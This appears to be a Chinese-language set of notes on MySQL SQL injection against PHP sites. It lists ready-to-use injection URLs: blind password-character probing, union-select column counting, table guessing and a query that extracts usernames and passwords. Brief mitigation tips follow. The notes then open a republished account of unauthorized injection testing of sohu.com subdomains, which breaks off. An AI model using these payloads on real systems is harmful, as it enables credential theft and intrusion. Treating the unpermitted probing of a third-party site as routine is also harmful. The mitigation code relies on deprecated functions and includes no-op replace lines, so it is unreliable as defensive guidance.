http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members
跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace("%","%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace("%","%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)
对sohu.com的一次安全检测
已发表于黑客防线
发布在http://www.loveshell.net
sohu.com是国内一家比较大的门户网站,提供了包括邮箱在内的很多服务。这么大的一个网站,不出问题是很难的,俗话说服务越多越不安全嘛!无论是对 于服务器还是网站都是这个道理,最近学习Mysql注入,于是顺便就对sohu.com做了一次小小的安全检测,看看它存不存在SQL注入漏洞。
看看sohu.com的主站发现差不多都是静态的,于是放弃了在主站上找问题的想法。直接在sohu.com的各个分站上浏览了一圈后发现,大部分网站采 用的都是Php脚本,也有少数用的是jsp脚本,根据经验我们知道,对于Php构建的系统,一般后台数据库都是Mysql,就好象asp对应着Mssql一样,看来可能存在问题的地方还是很多的。由于Php的特性(Php默认将传递的参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注 入),一般情况下我们注入的只能是数字类型的变量了。根据平时注入的知识,我们知道id=XXX这样的形式传递的参数一般都是数字类型的变量,所以我们只 要去测试那些php?id=XXX的连接就可能找到漏洞了!通过一番仔细的搜索,还真让我在XXX.it.sohu.com上找到了一个存在问题的连接http://XXX.it.sohu.com/book/serialize.php?id=86







